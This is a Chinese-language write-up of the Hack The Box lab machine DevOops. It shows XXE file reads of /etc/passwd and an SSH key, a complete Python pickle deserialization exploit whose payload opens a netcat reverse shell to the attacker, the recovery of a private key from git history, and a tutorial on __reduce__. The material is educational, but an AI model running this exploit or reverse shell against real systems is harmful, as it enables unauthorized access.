HTB-DevOops
信息收集
5000端口
根据文字所述,下面的图片是feed.py。
目录扫描
/upload如下:
上传测试xml文件。
得到反馈
怀疑是标签不匹配,尝试寻找匹配的标签。前面首页有提示:XML elements: Author, Subject, Content
。
构造XML如下:
<?xml version="1.0" encoding="UTF-8"?>
<channel>
<Author>Aster</Author>
<Subject>XEE TEST</Subject>
<Content>TEST :)</Content>
</channel>
XEE利用,外部实体访问/etc/passwd。
立足
python反序列化攻击
找找看feed.py在哪里,就在当前目录下。
def uploaded_file(filename):
return send_from_directory(Config.UPLOAD_FOLDER,
filename)
@app.route("/")
def xss():
return template('index.html')
@app.route("/feed")
def fakefeed():
return send_from_directory(".","devsolita-snapshot.png")
@app.route("/newpost", methods=["POST"])
def newpost():
# TODO: proper save to database, this is for testing purposes right now
picklestr = base64.urlsafe_b64decode(request.data)
# return picklestr
postObj = pickle.loads(picklestr)
return "POST RECEIVED: " + postObj['Subject']
## TODO: VERY important! DISABLED THIS IN PRODUCTION
#app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
# TODO: Replace run-gunicorn.sh with real Linux service script
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
if __name__ == "__main__":
app.run(host='0.0.0,0', Debug=True)
有一个/newpost,并且功能是以POST请求访问/newpost,POST的data会被url解码,接着被反序列化。这里存在一个python的反序列化攻击。
import pickle
import requests
from base64 import urlsafe_b64encode
import os
url = "http://10.10.10.91:5000/newpost"
ip = "10.10.14.31"
port = 443
payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %i >/tmp/f" %(ip,port)
print(payload)
class Poc(object):
def __reduce__(self):
return (os.system,(payload,))
postdata = urlsafe_b64encode(pickle.dumps(Poc()))
print("[*]Sending data:%s" % postdata)
res = requests.post(url,data=postdata)
XEE读取SSH
在前面读取/etc/passwd的基础上,进一步读取roosa用户的ssh id_rsa。
git用户的读取失败。
roosa根目录存在gitconfig文件以及run-blogfeed.sh可执行文件run-blogfeed.sh的内容如下:
知道了blogfeed的路径:/home/roosa/work/blogfeed/src
,跟随来到目录。
root
有.git文件,可能会涉及到git的回滚。使用git log查看commit history。
使用git diff 1422e5a04d1b52a44e6dc81023420347e257ee5f在最早的commit发现了一个ssh的私钥。
可能是ssh的私钥错的,继续看commit,git diff d387abf63e05c9628a59195cec9311751bdb283f
。
python反序列化
模块 pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化
pickle模块中常用的四种方法:
四种方法 | 作用 |
---|---|
pickle.dump(obj, file) | 将序列化的结果保存在file中 |
pickle.load(file) | 加载file中的内容并将其反序列化为对象 |
pickle.dumps(obj) | 将对象序列化为字符串字节流 |
pickle.loads(bytes_obj) | 把字符串字节流反序列化为对象 |
对象的序列化与反序列化例子:
为什么是reduce来帮助反序列化执行代码?记得PHP反序列化中的魔术方法__wake()
么。在pickle中的__reduce__
魔法方法和wake
类似,会在反序列化时自动触发。为什么是reduce?去看看官方文档怎么说。
感受到了文字的魅力,看了像没看一样。其实很容易理解,官方文档将reduce分为了两种情况:
- 返回字符串,该字符串会被当作一个本地模块,只不过这个模块名放在一个全局变量中。举个例子:有个老外在国外工作,他那边对他的职业描述是矩形立方体空间移动工程师(全局变量),他被派到国内来工作(本地),他发现他找不到矩形立方体空间移动工程师这个岗(模块本地名),于是他去公司职业一览图找(模块命名空间),结果发现了在国内叫搬砖(找到所属模块)。
- 返回元组,元组应该有2到6个元素(tuple[1]~tuple[5]),前两个元素必须具备,后四个可选元素可空可省。重点来了,第一个元素是可调用对象,第二个是前面调用对象的参数。这两个就是执行命令的关键。举个例子我第一个元素是print,第二个元素aster,那么反序列化的时候会发生什么呢?
可能会很好奇,为什么这个元组看起来有点畸形,仔细看第二个元素类型也是元组。所以如果我们这样输入(“aster”),python会以为就是一个字符串aster,如果输入(“aster”,),python就会认为这是元组。
这就解释了为什么一眼看过去很畸形的原因。好的,为什么在class加上object对象?来,让我们看看为什么。我们有如下代码,A类是没有加上object对象。
而A类只有这三个对象可供选择。
接下来看看继承object对象后的B呢。有没有看到reduce呢。
由于版本的更新,后续高版本会自己添加object,为了兼容性还是要继承object。
接着我们在反序列化的时候要调用计算器(calc.exe)该怎么做呢?
接着最后一个问题,为什么要加上import os?首先我能肯定的是你在构造Poc的时候不加你没办法使用os.system。其次,暂时没找到有关这方面的描述文档,所以只能猜测python会自动导入没有导入的库。
好了,python的反序列化简单介绍了一下,这有一篇阮行止大佬的非常好的文章,强烈建议看看。